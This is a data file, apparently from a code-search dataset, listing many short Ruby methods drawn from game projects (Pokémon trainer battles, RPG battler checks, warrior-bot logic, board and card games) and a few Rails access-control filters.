tr_name, max_battles, tr_version = 0)\r\n return true if !$DEBUG\r\n # Check for existence of trainer type\r\n pbTrainerTypeCheck(tr_type)\r\n tr_type_data = GameData::TrainerType.try_get(tr_type)\r\n return false if !tr_type_data\r\n tr_type = tr_type_data.id\r\n # Check for existence of trainer with given ID number\r\n return true if GameData::Trainer.exists?(tr_type, tr_name, tr_version)\r\n # Add new trainer\r\n if pbConfirmMessage(_INTL(\"Add new trainer variant {1} (of {2}) for {3} {4}?\",\r\n tr_version, max_battles, tr_type.to_s, tr_name))\r\n pbNewTrainer(tr_type, tr_name, tr_version)\r\n end\r\n return true\r\nend","def in_battle?(current_user)\n TeamRelation.where(battle_id: self.id, user_id: current_user.id).first\n end","def auto_battle?\r\n special_flag(FLAG_ID_AUTO_BATTLE)\r\n end","def towerserver?\n physical_type == \"TOWER\"\n end","def affords?(tower_class)\n @cash >= tower_class.new.cost\n end","def train_wagon?(wagon)\n wagon.type == self.type\n end","def is_traveler\n if @traveler\n return @traveler.id == current_or_guest_user.id ? false : true\n else\n return false\n end \n end","def ounce_troy? = unit == 'ounce-troy'","def battler_activator?\n return (@activator != TRGProbability)\n end","def pbTrainerLevelIs?(level)\r\n return ($PokemonGlobal.trainerLevel==level)\r\nend","def usable?(item)\n return false if item.nil?\n tb = battler\n return tb.usable?(item) # tb.is_a?(Game_Actor) ? <- : false\n end","def attacked? tribal_strength, direction\n (tribal_strength > @@wall_strength[direction])\n end","def battler_acting?\n return true if @user_casting[0] > 0 || @targeting[0]\n return true if @knockdown_data[0] > 0 and battler.deadposing.nil?\n return true if @anime_speed > 0\n return true if @hookshoting[0] || @making_spiral\n if self.is_a?(Game_Player)\n $game_player.followers.each {|f| return true if f.battler_acting?}\n end\n return false\n end","def actor?\n @battler && @battler.is_a?(Game_Actor)\n end","def check_availability_of_passenger_wagons\n @trains.each do |train|\n train.each do |element|\n if element.class != Symbol\n return false if element.wagons.any? && element.type == 'passenger'\n end\n end\n end\n end","def tall_grass?\n return $game_player.system_tag == TGrass\n end","def is_one_attack?\n get_model.is_one_use_weapon?\n end","def next_to_enemy?\n Map::DIRECTIONS.any? { |dir| @warrior.feel(dir).enemy? }\n end","def is_on_union?\n for battler in $game_troop.enemies\n return true if battler.union_members.include?(self)\n end\n return false\n end","def very_tall_grass?\n return $game_player.system_tag == TTallGrass\n end","def stone? = unit == 'stone'","def won_by?(player)\n\t\tcase player\n\t\twhen :hunter\n\t\t\tif players_within_distance?\n\t\t\t\t\"CAPTURE\"\n\t\t\telsif @prey.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\twhen :prey\n\t\t\tif players_surrounded?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif hunter_trapped?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif @hunter.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend\n\tend","def opposite?(battler)\n actor? != battler.actor? || battler.magic_reflection\n end","def human?\n return self.class == Player\n end","def tier?\n !!self.tier\n end","def on_a_team?\n !team.nil?\n end","def can_battle_continue?\n return false if @battle_result >= 0\n banks_that_can_fight = []\n @battlers.each_with_index do |battler_bank, bank|\n battler_bank.each do |battler|\n break(banks_that_can_fight << bank) if battler&.can_fight?\n end\n end\n # It's a victory if the player still have a Pokemon on its bank\n if banks_that_can_fight.size <= 1\n @battle_result = banks_that_can_fight.include?(0) ? 0 : 1\n return false\n end\n return true\n end","def enemy_behind?(warrior)\n warrior.look(:backward).index { |space| space.enemy? } != nil\n end","def registered_traveler?\n registered? && traveler?\n end","def winner\n if @user_ships.all? { |ship| ship.sunk? } && @npc_ships.all? { |ship| ship.sunk? }\n print \"\\nTie game!\\n\\n\"\n return true\n elsif @user_ships.all? { |ship| ship.sunk? }\n print \"\\nI won!\\n\\n\"\n return true\n elsif @npc_ships.all? { |ship| ship.sunk? }\n print \"\\nYou won!\\n\\n\"\n return true\n else\n false\n end\n end","def human_turn?\n @current_player != @computer_player\n end","def metropolitan_club_admin?\n metropolitan_club.leaders.include?(self)\n end","def athlete_result?\n !team_result?\n end","def inputable?\r\n normal? && !auto_battle?\r\n end","def can_sell_train?(train)\n owner = train.owner\n return true unless railway?(owner)\n return true if owner == @qlb\n return true unless train_is_train?(train)\n\n if owner == @nwe && train.distance < 2\n true # nwe will always have a train besides a 1T\n elsif owner == @nwe\n owner.trains.count { |t| train_is_train?(t) && t.distance > 1 } > 1\n else\n owner.trains.count { |t| train_is_train?(t) } > 1\n end\n end","def grain? = unit == 'grain'","def tie?(moves)\n if moves.length == 9 \n @winner_type = \"TIE\"\n return true \n end \n end","def type_fighting?\n return type?(GameData::Types::FIGHTING)\n end","def battler_in_combination(battler)\n return true if battler.in_combination == 'Union'\n return true if battler.in_combination == 'Fusion'\n return true if battler.in_combination == 'Cooperation'\n return false\n end","def check_teleport\n if item.csca_has_teleport?\n actor = item.is_a?(RPG::Skill) ? user : $game_party.leader\n SceneManager.call(CSCA_Scene_Teleport)\n SceneManager.scene.prepare(item.csca_teleport_type, actor)\n end\n end","def can_put_in_tableau?\n (@pile_beneath.empty? && @card_to_drop.rank.king?) ||\n (@card_beneath && @card_to_drop.rank.not.ace? &&\n @pile_beneath.last_card?(@card_beneath) &&\n tableau_conditions?(@card_beneath))\n end","def we_have_enemy_flag?\n @agents.any? do |a|\n a.tank.flag != \"none\" &&\n a.tank.flag != @my_color\n end\n end","def is_tie?\n if gladiators[0].weapon == gladiators[1].weapon\n @gladiators = []\n return true\n end\n return false\n end","def tatsu?(tile)\n self.connects?(tile) && self != tile\n end","def hail?\n return false if $game_temp.in_battle && ::BattleEngine.state[:air_lock]\n return current_weather == 4\n end","def gigahertz? = unit == 'gigahertz'","def happy_walker?\n @dog_walker.favorite_breed == @dog.breed \n end","def won?\n if @board.last == @board.last.sort && @board.last.length == @towers\n return true\n else\n return false\n end\n end","def occasion_ok?(item)\r\n $game_party.in_battle ? item.battle_ok? : item.menu_ok?\r\n end","def temporary_phase?\n Temporary_Phase.any? do |phase|\n battle_phase == phase\n end\n end","def set_battle()\n if ((@weapon == \"scissors\") && (@other_weapon == \"paper\")) || ((@weapon == \"rock\") && (@other_weapon == \"scissors\")) || ((@weapon == \"paper\") && (@other_weapon == \"rock\"))\n @battle_result = 1\n \n elsif ((@weapon == \"rock\") && (@other_weapon == \"paper\")) || ((@weapon == \"scissors\") && (@other_weapon == \"rock\")) || ((@weapon == \"paper\") && (@other_weapon == \"scissors\"))\n @battle_result = 2 \n\n else\n @weapon == @other_weapon \n @battle_result = 0\n end\n end","def is? target\n\t\treturn target.downcase.to_sym == :player\n\tend","def is_shooting_target(look)\n @target = false\n @captive_infront = false\n look.each do |element|\n if element.to_s == \"Thick Sludge\"\n @target = false\n break\n elsif element.to_s == \"Wizard\" or element.to_s == \"Archer\"\n # puts \"We found a target to shoot for...\"\n @target = true\n break\n elsif element.to_s == \"Captive\"\n @captive_infront = true\n break\n end\n end\n return @target && !@captive_infront\n end","def tranch_available?\n current_tranch_open? and previous_tranch_all_sold_out_or_operated?\n end","def check_availability_of_cargo_wagons\n @trains.each do |train|\n train.each do |element|\n if element.class != Symbol\n return false if element.wagons.any? && element.type == 'cargo'\n end\n end\n end\n end","def have_double_wild_battle?\r\n return false if $PokemonTemp.forceSingleBattle\r\n return false if pbInSafari?\r\n return true if $PokemonGlobal.partner\r\n return false if $Trainer.able_pokemon_count <= 1\r\n return true if $game_player.pbTerrainTag.double_wild_encounters && rand(100) < 30\r\n return false\r\n end","def check_train_wagons\n passenger_trains_amount = 0\n cargo_amount = 0\n @trains.each_value do |train|\n train.type == 'cargo' ? cargo_amount += 1 : passenger_trains_amount += 1\n end\n passenger_matches(passenger_trains_amount) || cargo_matches(cargo_amount)\n end","def is_user_trainer\n unless current_user.trainer?\n \tredirect_to(root_url)\n \tflash[:danger] = \"You do not have permission to view this page\"\n end\n end","def is_tie_game?\n\t\t!@board[0].include?(0)\n\tend","def check?\n king_attacked?\n end","def can_battle?(id)\n has_pokemon?(id) && (Graphics.current_time - get(id)[:slather_time]) > WAIT_TO_BATTLE\n end","def choice_a_battle\n use_item_in_battle\n end","def ship_sunk?\n @ship_sunk\n end","def can_repair(unit)\n return false if @army != unit.army\n return true if [MOVE_AIR].include?(unit.move_type)\n return false\n end","def castling?\n\t\trooks = self.game.pieces.where(\"user_id = ? AND type = ?\", self.user_id, \"Rook\")\n\t\trooks.each do |rook|\n\t\t\tif !rook.has_moved && !self.has_moved && !rook.pieces_between?(self.x_position, self.y_position)\n\t\t\t\treturn true \n\t\t\tend\n\t\tend\n\t\treturn false\n\tend","def is_on_union?\n for battler in $game_party.actors\n return true if battler.union_members.include?(self)\n end\n return false\n end","def check_for_a_bomb\n warrior.listen.each do |unit|\n if Captives.include? unit.to_s.to_sym and unit.ticking?\n return true\n end\n end\n return false\n end","def canMakeTreasureVisible(t)\n \n end","def is_occupied?\n @renters.any?\n end","def is_shifter?\n sentiment_modifier == 'shifter'\n end","def walkthrough()\r\n choose_winner =false \r\n choose_winner= walkthrough_test( @turn[2])\r\n \r\n\t if choose_winner ==true\r\n\t return true\r\n\t else\r\n\t return false\r\n\t end \r\n \tend","def global_water_sport?\n # TODO\n end","def traveler?\n !admin_or_staff? && !superuser?\n end","def rent?(furnished, rent, baller)\n baller && (furnished || rent < 2100 ) ? true : false\nend","def behind_minions?\n tower, = select_unit_by_distance(@battlefield.them, :tower, :farthest)\n front_minion, = tower.select_unit_by_distance(@battlefield.us, :unit, :nearest)\n\n tower.distance_to_unit(front_minion) < tower.distance_to_unit(self)\n end","def pbTrainerBattle(trainerid,trainername,endspeech,\n doublebattle=false,trainerparty=0,canlose=false,variable=nil)\n if $Trainer.pokemonCount==0\n Kernel.pbMessage(_INTL(\"SKIPPING BATTLE...\")) if $DEBUG\n return false\n end\n if !$PokemonTemp.waitingTrainer && pbMapInterpreterRunning? &&\n ($Trainer.ablePokemonCount>1 || $Trainer.ablePokemonCount>0 && $PokemonGlobal.partner)\n thisEvent = pbMapInterpreter.get_character(0)\n triggeredEvents = $game_player.pbTriggeredTrainerEvents([2],false)\n otherEvent = []\n for i in triggeredEvents\n if i.id!=thisEvent.id && !$game_self_switches[[$game_map.map_id,i.id,\"A\"]]\n otherEvent.push(i)\n end\n end\n if otherEvent.length==1\n trainer = pbLoadTrainer(trainerid,trainername,trainerparty)\n Events.onTrainerPartyLoad.trigger(nil,trainer)\n if !trainer\n pbMissingTrainer(trainerid,trainername,trainerparty)\n return false\n end\n if trainer[2].length<=6\n $PokemonTemp.waitingTrainer=[trainer,thisEvent.id,endspeech]\n return false\n end\n end\n end\n trainer = pbLoadTrainer(trainerid,trainername,trainerparty)\n Events.onTrainerPartyLoad.trigger(nil,trainer)\n if !trainer\n pbMissingTrainer(trainerid,trainername,trainerparty)\n return false\n end\n if $PokemonGlobal.partner && ($PokemonTemp.waitingTrainer || doublebattle)\n othertrainer = PokeBattle_Trainer.new($PokemonGlobal.partner[1],$PokemonGlobal.partner[0])\n othertrainer.id = $PokemonGlobal.partner[2]\n othertrainer.party = $PokemonGlobal.partner[3]\n playerparty = []\n for i in 0...$Trainer.party.length\n playerparty[i] = $Trainer.party[i]\n end\n for i in 0...othertrainer.party.length\n playerparty[6+i] = othertrainer.party[i]\n end\n playertrainer = [$Trainer,othertrainer]\n fullparty1 = true\n doublebattle = true\n else\n playerparty = $Trainer.party\n playertrainer = $Trainer\n fullparty1 = false\n end\n if $PokemonTemp.waitingTrainer\n combinedParty = []\n fullparty2 = false\n if $PokemonTemp.waitingTrainer[0][2].length>3 || trainer[2].length>3\n for i in 0...$PokemonTemp.waitingTrainer[0][2].length\n combinedParty[i] = $PokemonTemp.waitingTrainer[0][2][i]\n end\n for i in 0...trainer[2].length\n combinedParty[6+i] = trainer[2][i]\n end\n fullparty2 = true\n else\n for i in 0...$PokemonTemp.waitingTrainer[0][2].length\n combinedParty[i] = $PokemonTemp.waitingTrainer[0][2][i]\n end\n for i in 0...trainer[2].length\n combinedParty[3+i] = trainer[2][i]\n end\n end\n scene = pbNewBattleScene\n battle = PokeBattle_Battle.new(scene,playerparty,combinedParty,playertrainer,\n [$PokemonTemp.waitingTrainer[0][0],trainer[0]])\n battle.fullparty1 = fullparty1\n battle.fullparty2 = fullparty2\n battle.doublebattle = battle.pbDoubleBattleAllowed?\n battle.endspeech = $PokemonTemp.waitingTrainer[2]\n battle.endspeech2 = endspeech\n battle.items = [$PokemonTemp.waitingTrainer[0][1],trainer[1]]\n trainerbgm = pbGetTrainerBattleBGM([$PokemonTemp.waitingTrainer[0][0],trainer[0]])\n else\n scene = pbNewBattleScene\n battle = PokeBattle_Battle.new(scene,playerparty,trainer[2],playertrainer,trainer[0])\n battle.fullparty1 = fullparty1\n battle.doublebattle = (doublebattle) ? battle.pbDoubleBattleAllowed? : false\n battle.endspeech = endspeech\n battle.items = trainer[1]\n trainerbgm = pbGetTrainerBattleBGM(trainer[0])\n end\n if Input.press?(Input::CTRL) && $DEBUG\n Kernel.pbMessage(_INTL(\"SKIPPING BATTLE...\"))\n Kernel.pbMessage(_INTL(\"AFTER LOSING...\"))\n Kernel.pbMessage(battle.endspeech)\n Kernel.pbMessage(battle.endspeech2) if battle.endspeech2\n if $PokemonTemp.waitingTrainer\n pbMapInterpreter.pbSetSelfSwitch($PokemonTemp.waitingTrainer[1],\"A\",true)\n $PokemonTemp.waitingTrainer = nil\n end\n return true\n end\n Events.onStartBattle.trigger(nil,nil)\n battle.internalbattle = true\n pbPrepareBattle(battle)\n restorebgm = true\n decision = 0\n Audio.me_stop\n tr = [trainer]; tr.push($PokemonTemp.waitingTrainer[0]) if $PokemonTemp.waitingTrainer\n pbBattleAnimation(trainerbgm,(battle.doublebattle) ? 3 : 1,tr) {\n pbSceneStandby {\n decision = battle.pbStartBattle(canlose)\n }\n pbAfterBattle(decision,canlose)\n if decision==1\n if $PokemonTemp.waitingTrainer\n pbMapInterpreter.pbSetSelfSwitch($PokemonTemp.waitingTrainer[1],\"A\",true)\n end\n end\n }\n Input.update\n pbSet(variable,decision)\n $PokemonTemp.waitingTrainer = nil\n return (decision==1)\nend","def has_borne?\n sncf_self_service_machine == \"t\"\n end","def has2w\n #equips.count { |equip| equip.is_a?(RPG::Weapon) } >= 2\n armi = 0\n equips.each { |equipment|\n armi += 1 if equipment.is_a?(RPG::Weapon)\n }\n armi >= 2\n end","def enemy_check?\n spaces_array = @warrior.look(@movement_direction)\n spaces_array.each do |space|\n if space.enemy?\n return true\n elsif space.captive?\n return false\n end\n end\n return false\n end","def selected?\n trip.selected_itinerary == self\n end","def senior_member?\n\t\tsenior != true\n\tend","def current_golfer?(golfer)\n \tgolfer == current_golfer\n end","def enemies_nearby?(warrior)\n warrior.feel(@@direction).enemy?\n end","def trainer_only\n if logged_in?\n \t@trainer = Trainer.find_by(user_id: current_user.id.to_i)\n if @trainer.nil?\n \tredirect_to root_path, :alert => \"Access denied.\"\n else\n \tif @trainer.id.to_i != Protege.find_by(user_id: params[:id]).trainer_id.to_i\n \t\tredirect_to root_path, :alert => \"Nie masz dostępu do tej karty\"\n \tend\n end\n else\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end","def gorillas_fighting?(gorillas, preserve)\n count = 0\n gorillas.each do |g|\n if g.anger_level > 1 && g.preserve_id == preserve.id\n count += 1\n end\n end\n count > 1\n end","def knot? = unit == 'knot'","def allGameTerrTaken?\n territory = Territory.find_by(game_id: @game.id, owner_id: -1)\n print \"ALL GAME TERRITORIES TAKEN? \"\n if(territory == nil)\n\tprint \"True\\n\"\n\treturn true \n end\n print \"False\\n\"\n return false\n end","def ghost_tier\n tier == 'Ghost / Duch'\n end","def ounce? = unit == 'ounce'","def caught_by_player?\n return flags.anybits?(FLAG_CAUGHT_BY_PLAYER)\n end","def throbbing?\n return get_throb.running?\n end","def win?(player_check)\n other = \"\"\n player_check == player ? other = dealer : other = player\n if (player_check == player)&&(player_check.hand_total == other.hand_total)\n return \"Tie\"\n elsif (player_check.bust == false) && (other.bust == false) && (player_check.hand_total > other.hand_total)\n return true\n elsif (player_check.hand_total == 21)\n return true\n elsif (player_check.bust == false) && (other.bust == false)&&(player_check.hand_total < other.hand_total)\n return false\n elsif (player_check.bust == false) && (other.bust == true)\n return true\n elsif (player_check.bust == true) && (other.bust == false)\n return false\n elsif (player_check.bust = true) && (other.bust == true)\n return \"Bust\"\n end\n end","def superShiny?\n return self.pokemon && self.pokemon.superShiny?\n end","def trainer_only\n\t\t\tif logged_in?\n\t\t\t\tif Trainer.find_by(user_id: current_user.id.to_i).nil?\n\t\t\t\t\tredirect_to root_path, :alert => \"Odmowa dostępu111\"\n\t\t\t\telsif !active_trainer?\n\t\t\t\t\tredirect_to root_path, :alert => \"Odmowa dostępu, musisz byc aktywnym trenerem\" \n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tredirect_to root_path, :alert => \"Odmowa dostępu\"\n\t\t\tend\n\t\tend","def taking_damage?\n if @warrior.health < @health\n true\n else\n false\n end\n end","def can_be_retagged_by?(editor, tier=nil)\n self.alive? && (editor == self.person || Reputation::Threshold.valid?(:retag_kase, editor, :tier => tier))\n end","def someone_won?\n !!winnning_marker\n end"],"string":"[\n \"def in_battle?\\n Game_Temp.in_battle\\n end\",\n \"def active_trainer?\\n\\t\\t\\tTrainer.find_by(user_id: current_user.id.to_i).active\\n\\t\\tend\",\n \"def main_battle_test?\\r\\n # If battle test\\r\\n if $BTEST\\r\\n battle_test\\r\\n return true\\r\\n end\\r\\n return false\\r\\n end\",\n \"def pbTrainerCheck(tr_type, tr_name, max_battles, tr_version = 0)\\r\\n return true if !$DEBUG\\r\\n # Check for existence of trainer type\\r\\n pbTrainerTypeCheck(tr_type)\\r\\n tr_type_data = GameData::TrainerType.try_get(tr_type)\\r\\n return false if !tr_type_data\\r\\n tr_type = tr_type_data.id\\r\\n # Check for existence of trainer with given ID number\\r\\n return true if GameData::Trainer.exists?(tr_type, tr_name, tr_version)\\r\\n # Add new trainer\\r\\n if pbConfirmMessage(_INTL(\\\"Add new trainer variant {1} (of {2}) for {3} {4}?\\\",\\r\\n tr_version, max_battles, tr_type.to_s, tr_name))\\r\\n pbNewTrainer(tr_type, tr_name, tr_version)\\r\\n end\\r\\n return true\\r\\nend\",\n \"def in_battle?(current_user)\\n TeamRelation.where(battle_id: self.id, user_id: current_user.id).first\\n end\",\n \"def auto_battle?\\r\\n special_flag(FLAG_ID_AUTO_BATTLE)\\r\\n end\",\n \"def towerserver?\\n physical_type == \\\"TOWER\\\"\\n end\",\n \"def affords?(tower_class)\\n @cash >= tower_class.new.cost\\n end\",\n \"def train_wagon?(wagon)\\n wagon.type == self.type\\n end\",\n \"def is_traveler\\n if @traveler\\n return @traveler.id == current_or_guest_user.id ? false : true\\n else\\n return false\\n end \\n end\",\n \"def ounce_troy? = unit == 'ounce-troy'\",\n \"def battler_activator?\\n return (@activator != TRGProbability)\\n end\",\n \"def pbTrainerLevelIs?(level)\\r\\n return ($PokemonGlobal.trainerLevel==level)\\r\\nend\",\n \"def usable?(item)\\n return false if item.nil?\\n tb = battler\\n return tb.usable?(item) # tb.is_a?(Game_Actor) ? <- : false\\n end\",\n \"def attacked? tribal_strength, direction\\n (tribal_strength > @@wall_strength[direction])\\n end\",\n \"def battler_acting?\\n return true if @user_casting[0] > 0 || @targeting[0]\\n return true if @knockdown_data[0] > 0 and battler.deadposing.nil?\\n return true if @anime_speed > 0\\n return true if @hookshoting[0] || @making_spiral\\n if self.is_a?(Game_Player)\\n $game_player.followers.each {|f| return true if f.battler_acting?}\\n end\\n return false\\n end\",\n \"def actor?\\n @battler && @battler.is_a?(Game_Actor)\\n end\",\n \"def check_availability_of_passenger_wagons\\n @trains.each do |train|\\n train.each do |element|\\n if element.class != Symbol\\n return false if element.wagons.any? && element.type == 'passenger'\\n end\\n end\\n end\\n end\",\n \"def tall_grass?\\n return $game_player.system_tag == TGrass\\n end\",\n \"def is_one_attack?\\n get_model.is_one_use_weapon?\\n end\",\n \"def next_to_enemy?\\n Map::DIRECTIONS.any? { |dir| @warrior.feel(dir).enemy? }\\n end\",\n \"def is_on_union?\\n for battler in $game_troop.enemies\\n return true if battler.union_members.include?(self)\\n end\\n return false\\n end\",\n \"def very_tall_grass?\\n return $game_player.system_tag == TTallGrass\\n end\",\n \"def stone? = unit == 'stone'\",\n \"def won_by?(player)\\n\\t\\tcase player\\n\\t\\twhen :hunter\\n\\t\\t\\tif players_within_distance?\\n\\t\\t\\t\\t\\\"CAPTURE\\\"\\n\\t\\t\\telsif @prey.time_taken > $time_limit\\n\\t\\t\\t\\t\\\"TIMEOUT\\\"\\n\\t\\t\\telse\\n\\t\\t\\t\\tfalse\\n\\t\\t\\tend\\n\\t\\twhen :prey\\n\\t\\t\\tif players_surrounded?\\n\\t\\t\\t\\t\\\"ESCAPE\\\"\\n\\t\\t\\telsif hunter_trapped?\\n\\t\\t\\t\\t\\\"ESCAPE\\\"\\n\\t\\t\\telsif @hunter.time_taken > $time_limit\\n\\t\\t\\t\\t\\\"TIMEOUT\\\"\\n\\t\\t\\telse\\n\\t\\t\\t\\tfalse\\n\\t\\t\\tend\\n\\t\\tend\\n\\tend\",\n \"def opposite?(battler)\\n actor? != battler.actor? || battler.magic_reflection\\n end\",\n \"def human?\\n return self.class == Player\\n end\",\n \"def tier?\\n !!self.tier\\n end\",\n \"def on_a_team?\\n !team.nil?\\n end\",\n \"def can_battle_continue?\\n return false if @battle_result >= 0\\n banks_that_can_fight = []\\n @battlers.each_with_index do |battler_bank, bank|\\n battler_bank.each do |battler|\\n break(banks_that_can_fight << bank) if battler&.can_fight?\\n end\\n end\\n # It's a victory if the player still have a Pokemon on its bank\\n if banks_that_can_fight.size <= 1\\n @battle_result = banks_that_can_fight.include?(0) ? 0 : 1\\n return false\\n end\\n return true\\n end\",\n \"def enemy_behind?(warrior)\\n warrior.look(:backward).index { |space| space.enemy? } != nil\\n end\",\n \"def registered_traveler?\\n registered? && traveler?\\n end\",\n \"def winner\\n if @user_ships.all? { |ship| ship.sunk? } && @npc_ships.all? { |ship| ship.sunk? }\\n print \\\"\\\\nTie game!\\\\n\\\\n\\\"\\n return true\\n elsif @user_ships.all? { |ship| ship.sunk? }\\n print \\\"\\\\nI won!\\\\n\\\\n\\\"\\n return true\\n elsif @npc_ships.all? { |ship| ship.sunk? }\\n print \\\"\\\\nYou won!\\\\n\\\\n\\\"\\n return true\\n else\\n false\\n end\\n end\",\n \"def human_turn?\\n @current_player != @computer_player\\n end\",\n \"def metropolitan_club_admin?\\n metropolitan_club.leaders.include?(self)\\n end\",\n \"def athlete_result?\\n !team_result?\\n end\",\n \"def inputable?\\r\\n normal? && !auto_battle?\\r\\n end\",\n \"def can_sell_train?(train)\\n owner = train.owner\\n return true unless railway?(owner)\\n return true if owner == @qlb\\n return true unless train_is_train?(train)\\n\\n if owner == @nwe && train.distance < 2\\n true # nwe will always have a train besides a 1T\\n elsif owner == @nwe\\n owner.trains.count { |t| train_is_train?(t) && t.distance > 1 } > 1\\n else\\n owner.trains.count { |t| train_is_train?(t) } > 1\\n end\\n end\",\n \"def grain? = unit == 'grain'\",\n \"def tie?(moves)\\n if moves.length == 9 \\n @winner_type = \\\"TIE\\\"\\n return true \\n end \\n end\",\n \"def type_fighting?\\n return type?(GameData::Types::FIGHTING)\\n end\",\n \"def battler_in_combination(battler)\\n return true if battler.in_combination == 'Union'\\n return true if battler.in_combination == 'Fusion'\\n return true if battler.in_combination == 'Cooperation'\\n return false\\n end\",\n \"def check_teleport\\n if item.csca_has_teleport?\\n actor = item.is_a?(RPG::Skill) ? user : $game_party.leader\\n SceneManager.call(CSCA_Scene_Teleport)\\n SceneManager.scene.prepare(item.csca_teleport_type, actor)\\n end\\n end\",\n \"def can_put_in_tableau?\\n (@pile_beneath.empty? && @card_to_drop.rank.king?) ||\\n (@card_beneath && @card_to_drop.rank.not.ace? &&\\n @pile_beneath.last_card?(@card_beneath) &&\\n tableau_conditions?(@card_beneath))\\n end\",\n \"def we_have_enemy_flag?\\n @agents.any? do |a|\\n a.tank.flag != \\\"none\\\" &&\\n a.tank.flag != @my_color\\n end\\n end\",\n \"def is_tie?\\n if gladiators[0].weapon == gladiators[1].weapon\\n @gladiators = []\\n return true\\n end\\n return false\\n end\",\n \"def tatsu?(tile)\\n self.connects?(tile) && self != tile\\n end\",\n \"def hail?\\n return false if $game_temp.in_battle && ::BattleEngine.state[:air_lock]\\n return current_weather == 4\\n end\",\n \"def gigahertz? = unit == 'gigahertz'\",\n \"def happy_walker?\\n @dog_walker.favorite_breed == @dog.breed \\n end\",\n \"def won?\\n if @board.last == @board.last.sort && @board.last.length == @towers\\n return true\\n else\\n return false\\n end\\n end\",\n \"def occasion_ok?(item)\\r\\n $game_party.in_battle ? item.battle_ok? : item.menu_ok?\\r\\n end\",\n \"def temporary_phase?\\n Temporary_Phase.any? do |phase|\\n battle_phase == phase\\n end\\n end\",\n \"def set_battle()\\n if ((@weapon == \\\"scissors\\\") && (@other_weapon == \\\"paper\\\")) || ((@weapon == \\\"rock\\\") && (@other_weapon == \\\"scissors\\\")) || ((@weapon == \\\"paper\\\") && (@other_weapon == \\\"rock\\\"))\\n @battle_result = 1\\n \\n elsif ((@weapon == \\\"rock\\\") && (@other_weapon == \\\"paper\\\")) || ((@weapon == \\\"scissors\\\") && (@other_weapon == \\\"rock\\\")) || ((@weapon == \\\"paper\\\") && (@other_weapon == \\\"scissors\\\"))\\n @battle_result = 2 \\n\\n else\\n @weapon == @other_weapon \\n @battle_result = 0\\n end\\n end\",\n \"def is? target\\n\\t\\treturn target.downcase.to_sym == :player\\n\\tend\",\n \"def is_shooting_target(look)\\n @target = false\\n @captive_infront = false\\n look.each do |element|\\n if element.to_s == \\\"Thick Sludge\\\"\\n @target = false\\n break\\n elsif element.to_s == \\\"Wizard\\\" or element.to_s == \\\"Archer\\\"\\n # puts \\\"We found a target to shoot for...\\\"\\n @target = true\\n break\\n elsif element.to_s == \\\"Captive\\\"\\n @captive_infront = true\\n break\\n end\\n end\\n return @target && !@captive_infront\\n end\",\n \"def tranch_available?\\n current_tranch_open? and previous_tranch_all_sold_out_or_operated?\\n end\",\n \"def check_availability_of_cargo_wagons\\n @trains.each do |train|\\n train.each do |element|\\n if element.class != Symbol\\n return false if element.wagons.any? && element.type == 'cargo'\\n end\\n end\\n end\\n end\",\n \"def have_double_wild_battle?\\r\\n return false if $PokemonTemp.forceSingleBattle\\r\\n return false if pbInSafari?\\r\\n return true if $PokemonGlobal.partner\\r\\n return false if $Trainer.able_pokemon_count <= 1\\r\\n return true if $game_player.pbTerrainTag.double_wild_encounters && rand(100) < 30\\r\\n return false\\r\\n end\",\n \"def check_train_wagons\\n passenger_trains_amount = 0\\n cargo_amount = 0\\n @trains.each_value do |train|\\n train.type == 'cargo' ? cargo_amount += 1 : passenger_trains_amount += 1\\n end\\n passenger_matches(passenger_trains_amount) || cargo_matches(cargo_amount)\\n end\",\n \"def is_user_trainer\\n unless current_user.trainer?\\n \\tredirect_to(root_url)\\n \\tflash[:danger] = \\\"You do not have permission to view this page\\\"\\n end\\n end\",\n \"def is_tie_game?\\n\\t\\t!@board[0].include?(0)\\n\\tend\",\n \"def check?\\n king_attacked?\\n end\",\n \"def can_battle?(id)\\n has_pokemon?(id) && (Graphics.current_time - get(id)[:slather_time]) > WAIT_TO_BATTLE\\n end\",\n \"def choice_a_battle\\n use_item_in_battle\\n end\",\n \"def ship_sunk?\\n @ship_sunk\\n end\",\n \"def can_repair(unit)\\n return false if @army != unit.army\\n return true if [MOVE_AIR].include?(unit.move_type)\\n return false\\n end\",\n \"def castling?\\n\\t\\trooks = self.game.pieces.where(\\\"user_id = ? AND type = ?\\\", self.user_id, \\\"Rook\\\")\\n\\t\\trooks.each do |rook|\\n\\t\\t\\tif !rook.has_moved && !self.has_moved && !rook.pieces_between?(self.x_position, self.y_position)\\n\\t\\t\\t\\treturn true \\n\\t\\t\\tend\\n\\t\\tend\\n\\t\\treturn false\\n\\tend\",\n \"def is_on_union?\\n for battler in $game_party.actors\\n return true if battler.union_members.include?(self)\\n end\\n return false\\n end\",\n \"def check_for_a_bomb\\n warrior.listen.each do |unit|\\n if Captives.include? unit.to_s.to_sym and unit.ticking?\\n return true\\n end\\n end\\n return false\\n end\",\n \"def canMakeTreasureVisible(t)\\n \\n end\",\n \"def is_occupied?\\n @renters.any?\\n end\",\n \"def is_shifter?\\n sentiment_modifier == 'shifter'\\n end\",\n \"def walkthrough()\\r\\n choose_winner =false \\r\\n choose_winner= walkthrough_test( @turn[2])\\r\\n \\r\\n\\t if choose_winner ==true\\r\\n\\t return true\\r\\n\\t else\\r\\n\\t return false\\r\\n\\t end \\r\\n \\tend\",\n \"def global_water_sport?\\n # TODO\\n end\",\n \"def traveler?\\n !admin_or_staff? && !superuser?\\n end\",\n \"def rent?(furnished, rent, baller)\\n baller && (furnished || rent < 2100 ) ? true : false\\nend\",\n \"def behind_minions?\\n tower, = select_unit_by_distance(@battlefield.them, :tower, :farthest)\\n front_minion, = tower.select_unit_by_distance(@battlefield.us, :unit, :nearest)\\n\\n tower.distance_to_unit(front_minion) < tower.distance_to_unit(self)\\n end\",\n \"def pbTrainerBattle(trainerid,trainername,endspeech,\\n doublebattle=false,trainerparty=0,canlose=false,variable=nil)\\n if $Trainer.pokemonCount==0\\n Kernel.pbMessage(_INTL(\\\"SKIPPING BATTLE...\\\")) if $DEBUG\\n return false\\n end\\n if !$PokemonTemp.waitingTrainer && pbMapInterpreterRunning? &&\\n ($Trainer.ablePokemonCount>1 || 